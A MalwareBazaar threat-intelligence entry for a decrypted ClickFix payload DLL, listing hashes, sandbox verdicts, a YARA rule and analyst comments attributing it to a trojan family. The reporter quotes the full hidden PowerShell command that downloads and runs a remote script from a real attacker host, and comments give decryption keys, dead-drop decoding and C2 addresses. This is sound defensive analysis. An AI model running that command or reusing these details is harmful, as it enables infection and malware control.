🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry



Threat unknown


Vendor detections: 10


Intelligence 10 IOCs YARA 1 File information Comments 2

SHA256 hash: aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f
SHA3-384 hash: 6a844fde57a96c9841c300626fd9a632125e9d314dc9c317f22b9c4e716fd49840e2f304f0e1e01ba726ca1aa1e080b2
SHA1 hash: 5a556579199de49158703ce3ed89a4f016cf4001
MD5 hash: 20d3db1254f5f77a928fe4c6bff3ba1f
humanhash: earth-sierra-lactose-echo
File name:data.dat.decrypted.dll
Download: download sample
File size:373'248 bytes
First seen:2026-10-12 00:25:47 UTC
Last seen:Never
File type:Executable exe
MIME type:application/vnd.microsoft.portable-executable
imphash 8b32fab1961f99324b08e080e7ac7761
ssdeep 6144:iK+DnS1qruj/DtI7dGk/0PQEkXMQSJDIW640nRo8S6phiFAPpvnu:ibS1ydGkAkXlQDIp9Gon
TLSH T111842A14F6956CE4C9AFC339465A1233E07C790483749EFB5BD51AA21A50AF4EA3C3EC
TrID 33.1% (.EXE) Win64 Executable (generic) (6522/11/2)
25.6% (.EXE) Win16 NE executable (generic) (5038/12/1)
10.4% (.ICL) Windows Icons Library (generic) (2059/9)
10.3% (.EXE) OS/2 Executable (generic) (2029/13)
10.1% (.EXE) Generic Win/DOS Executable (2002/3)
Magika pebin
Reporter Daydream
Tags:ClickFix decrypted dll exe FakeCaptcha sideloading


Avatar
Daydream
Final payload of a ClickFix chain, decrypted statically from data.dat (never on disk in this form; identical for every victim, only the encryption is per machine). PE32+ DLL, export DllMain, compiled 2026-09-10; own TLS via Secur32 over sockets plus WinHTTP/WinINet, parent-PID spoofing, RC4, FNV API hashing, no clear strings. Family not identified. Decryption of data.dat: key = SHA-256 of the text '<MachineGuid>|<C: volume serial, 8 upper-case hex>|<COMPUTERNAME>'; the loader checks HMAC-SHA256(key, data[:-32]) == data[-32:], then AES-256-CBC (CNG, PKCS7) with IV = data[0:16] over data[16:-32]. ClickFix chain: fake CAPTCHA pages plant 'powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://wall.casajuanchos.com/pidor.ps1'))'. pidor.ps1 (7623bd07f235e9969183d6d4b5069b4689948e3996b04b4c5d39d90cbcbf0e52) sends MachineGuid|C: serial|computer name|BIOS maker|model|GPU|user as base64 in https://wall.casajuanchos.com/d/<b64> and gets update.zip built for that machine: genuine signed Everything.exe 1.5.0.1423b (81b4d05e84e61891ac043dd76e97de616af17adf53b2ee2fe984d8b0bbbfcc21), Everything.ini, WindowsCodecs.dll (1e29472ea92b8218232d63d0c72859e94e531d9b6d804555c97b26b076af4d23) and data.dat.

Intelligence


File Origin
# of uploads :
1
# of downloads :
326
Origin country :
US US
Vendor Threat Intelligence
No detections
Malware family:
n/a
ID:
1
File name:
exe
Verdict:
Malicious activity
Analysis date:
2026-10-12 00:33:39 UTC
Tags:
websocket

Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Verdict:
Malicious
Score:
92.5%
Tags:
malware
Result
Verdict:
Clean
Maliciousness:

Behaviour
Сreating synchronization primitives
Verdict:
Suspicious
Threat level:
  5/10
Confidence:
100%
Tags:
anti-debug anti-vm fingerprint masquerade packed
Verdict:
Malicious
File Type:
dll x64
First seen:
2026-10-11T22:27:00Z UTC
Last seen:
2026-10-13T02:37:00Z UTC
Hits:
~10
Verdict:
inconclusive
YARA:
5 match(es)
Tags:
Executable PDB Path PE (Portable Executable) PE File Layout Win 64 Exe x64
Threat name:
Win64.Trojan.Generic
Status:
Suspicious
First seen:
2026-10-12 00:26:25 UTC
File Type:
PE+ (Dll)
AV detection:
10 of 24 (41.67%)
Threat level:
  5/5
Result
Malware family:
n/a
Score:
  8/10
Tags:
discovery execution
Behaviour
Runs ping.exe
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Executes a command shell one-liner
Reads the TCP/IP host and domain name from the registry
System Network Configuration Discovery: Internet Connection Discovery
Loads dropped DLL
Badlisted process makes network request
Unpacked files
SH256 hash:
aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f
MD5 hash:
20d3db1254f5f77a928fe4c6bff3ba1f
SHA1 hash:
5a556579199de49158703ce3ed89a4f016cf4001
Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures


MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:TH_AntiVM_MassHunt_Win_Malware_2026_CYFARE
Author:CYFARE
Description:Detects Windows malware employing anti-VM / anti-sandbox evasion techniques across VMware, VirtualBox, Hyper-V, QEMU, Xen, and generic sandbox environments
Reference:https://cyfare.net/

File information


The table below shows additional information about this malware sample such as delivery method and external references.

Web download

Executable exe aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f

(this sample)

  
Delivery method
Distributed via web download

Comments



Avatar
commented on 2026-10-12 14:33:48 UTC

Strings decrypted statically (333; decoder functions emulated). Values read 2026-10-12: t.me/molerkorstarstot [[CggIDE8IAAEGGxQIAhZWBxcb]] -> raft.asyoulike.nyc; steamcommunity.com/profiles/76561199770856090 'GwUPAU8IABEIAAgABRIbDAcRTwocFQ' -> clay.asianpalaceii.com; Polygon -> h=frog.britishboxing.net|p=443|ssl=1. Primary C2 in the sample: bee.beachcafemb.com. Dead-drop decoding for this build: Telegram og:description holds [[base64]] and the Steam profile name holds base64; decode and XOR with the repeating key 'xinxais' (the July 2026 build in Elastic's report used 'Goodman'). Polygon contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E, selector 0xc3f909d4, returns hex of 16-byte IV + AES-256-CBC with key cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9, plaintext 'h=<host>|p=<port>|ssl=<0|1>'. DNS fallback name shortcut_124.store (no record on 2026-10-12). Mutexes Global\CarbideSvc_mtx, Local\CarbideSvc_mtx. Paths %s\DorvexSys\Inspector, %s\JobAligner.dll, %s\Hurnvex\Relay; relaunch 'rundll32.exe "%s",DllMain' and '"%sEverything.exe" --startup'. Session ID = FNV (prime 0x01000193) and rotl5+0x9E3779B9 hashes over computer name, C: volume serial and InstallDate, printed %08X%08X. Contains Elastic's quoted string 'INJECT:TODO:pid=%u:shellcode_len=%u'. YARA: TELEPUZ_SessionId_DualHash_Oct2026 (YARAify).

Avatar
commented on 2026-10-12 00:48:59 UTC

Assessed as TELEPUZ (newer build than Elastic Security Labs' report of 2026-07-16): same Polygon contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E and selector 0xc3f909d4, WebSocket C2 over SChannel with a 16-hex session ID, Telegram/Steam/Polygon fallbacks, AppInfo debug-object UAC bypass strings. Elastic's rule Windows_Trojan_Telepuz_9e2c9a0b does not match this build. Observed by running the decrypted payload aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f in an isolated lab (server not contacted): WebSocket upgrade GET https://bee.beachcafemb.com/analytics/check?lang=<16 hex session id>, no User-Agent, retried with back-off; after about 55 s fallbacks every 11.5 s: https://t.me/molerkorstarstot, https://steamcommunity.com/profiles/76561199770856090 and eth_call {to 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E, data 0xc3f909d4} via polygon.gateway.tenderly.co, api.zan.top/polygon-mainnet, rpc-mainnet.matic.quiknode.pro, polygon.publicnode.com, polygon-bor.publicnode.com, polygon.drpc.org. Delivered by ClickFix via wall.casajuanchos.com (ThreatFox 1961112, 1961113) as an Everything.exe + WindowsCodecs.dll side-loading set.